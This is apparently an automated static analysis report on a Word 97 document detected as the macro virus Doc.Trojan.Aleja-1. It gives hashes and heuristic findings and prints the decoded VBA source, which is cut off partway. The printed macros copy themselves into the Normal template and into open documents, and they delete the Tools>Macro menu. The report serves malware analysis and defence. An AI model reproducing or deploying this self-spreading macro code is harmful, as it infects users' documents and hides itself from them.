Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 5f1a4f20c81d3d04…

MALICIOUS

Office (OLE)

42.5 KB Created: 1997-04-26 16:26:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: c45038a104d93ec12a32c1f55bb47110 SHA-1: 866a2167e91f918ec7d35b06a63498ec7c2f7830 SHA-256: 5f1a4f20c81d3d04af7b3a22762f4494362542db5675853ed5322796b9608eac
240 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic

The file is detected as malicious by ClamAV with the signature Doc.Trojan.Aleja-1. It contains legacy WordBasic auto-exec markers and VBA macros, specifically AutoOpen and Auto_Close. The AutoOpen macro attempts to copy itself and other modules (AutoClose, ArchivoGuardar, etc.) into the Normal template and the active document, suggesting an attempt to establish persistence or a foothold for further malicious activity.

Heuristics 5

  • ClamAV: Doc.Trojan.Aleja-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Aleja-1
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Auto_Close macro high OLE_VBA_AUTOCLOSE
    Auto_Close macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 6167 bytes
SHA-256: 39f5d2b759391fb857bf3b6da29098722dc36101a8f7e087c35fb5d73671a8df
Detection
ClamAV: Doc.Trojan.Aleja-1
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "AutoClose"

Attribute VB_Name = "AutoOpen"
Sub MAIN()

On Error Resume Next



Options.VirusProtection = True
CommandBars("Tools").Controls("Macro").Delete

Dim modulo(6) As String
Dim n As Integer

Version = GetSetting(appname:="", Section:="Inicio", _
                       Key:="Version", Default:="2")

If Version <= 2 Then

SaveSetting appname:="", Section:="Inicio", _
                Key:="Version", setting:=2



n = 6
modulo(1) = "AutoClose"
modulo(2) = "AutoOpen"
modulo(3) = "ArchivoGuardar"
modulo(4) = "ArchivoGuardarComo"
modulo(5) = "ArchivoImprimir"
modulo(6) = "ArchivoImprimirPredeter"


For m = 1 To n

existe = False

For Each VBComponent In NormalTemplate.VBProject.VBComponents
    
    If VBComponent.Name = modulo(m) Then
            existe = True
    End If
Next VBComponent

If Not existe Then
        Application.OrganizerCopy Source:=ActiveDocument.FullName, _
            Destination:=NormalTemplate.FullName, Name:=modulo(m), _
            Object:=wdOrganizerObjectProjectItems
End If

existe = False

For Each VBComponent In ActiveDocument.VBProject.VBComponents
    
    If VBComponent.Name = modulo(m) Then
            existe = True
    End If
Next VBComponent

If Not existe Then
        Application.OrganizerCopy Source:=NormalTemplate.FullName, _
            Destination:=ActiveDocument.FullName, Name:=modulo(m), _
            Object:=wdOrganizerObjectProjectItems
End If

Next



Documents.Save NoPrompt:=True, OriginalFormat:=wdWordDocument

End If


End Sub


Attribute VB_Name = "ArchivoGuardar"

Sub MAIN()

On Error Resume Next

Options.VirusProtection = True
CommandBars("Tools").Controls("Macro").Delete

Dim modulo(6) As String
Dim n As Integer


Version = GetSetting(appname:="", Section:="Inicio", _
                       Key:="Version", Default:="2")

If Version <= 2 Then

SaveSetting appname:="", Section:="Inicio", _
                Key:="Version", setting:=2


n = 6
modulo(1) = "AutoClose"
modulo(2) = "AutoOpen"
modulo(3) = "ArchivoGuardar"
modulo(4) = "ArchivoGuardarComo"
modulo(5) = "ArchivoImprimir"
modulo(6) = "ArchivoImprimirPredeter"


For m = 1 To n


existe = False

For Each VBComponent In ActiveDocument.VBProject.VBComponents
    
    If VBComponent.Name = modulo(m) Then
            existe = True
    End If
Next VBComponent

If Not existe Then
        Application.OrganizerCopy Source:=NormalTemplate.FullName, _
            Destination:=ActiveDocument.FullName, Name:=modulo(m), _
            Object:=wdOrganizerObjectProjectItems
End If

Next

Documents.Save NoPrompt:=True, OriginalFormat:=wdWordDocument

Else

End If

End Sub

Attribute VB_Name = "ArchivoGuardarComo"

Sub MAIN()

On Error Resume Next


Options.VirusProtection = True
CommandBars("Tools").Controls("Macro").Delete



Dim modulo(6) As String
Dim n As Integer

Version = GetSetting(appname:="", Section:="Inicio", _
                       Key:="Version", Default:="2")

If Version <= 2 Then

SaveSetting appname:="", Section:="Inicio", _
                Key:="Version", setting:=2


n = 6
modulo(1) = "AutoClose"
modulo(2) = "AutoOpen"
modulo(3) = "ArchivoGuardar"
modulo(4) = "ArchivoGuardarComo"
modulo(5) = "ArchivoImprimir"
modulo(6) = "ArchivoImprimirPredeter"




For m = 1 To n

existe = False

For Each VBComponent In ActiveDocument.VBProject.VBComponents
    
    If VBComponent.Name = modulo(m) Then
            existe = True
    End If
Next VBComponent

If Not existe Then
        Application.OrganizerCopy Source:=NormalTemplate.FullName, _
            Destination:=ActiveDocument.FullName, Name:=modulo(m), _
            Object:=wdOrganizerObjectProjectItems
End If

Next


If Dialog
... (truncated)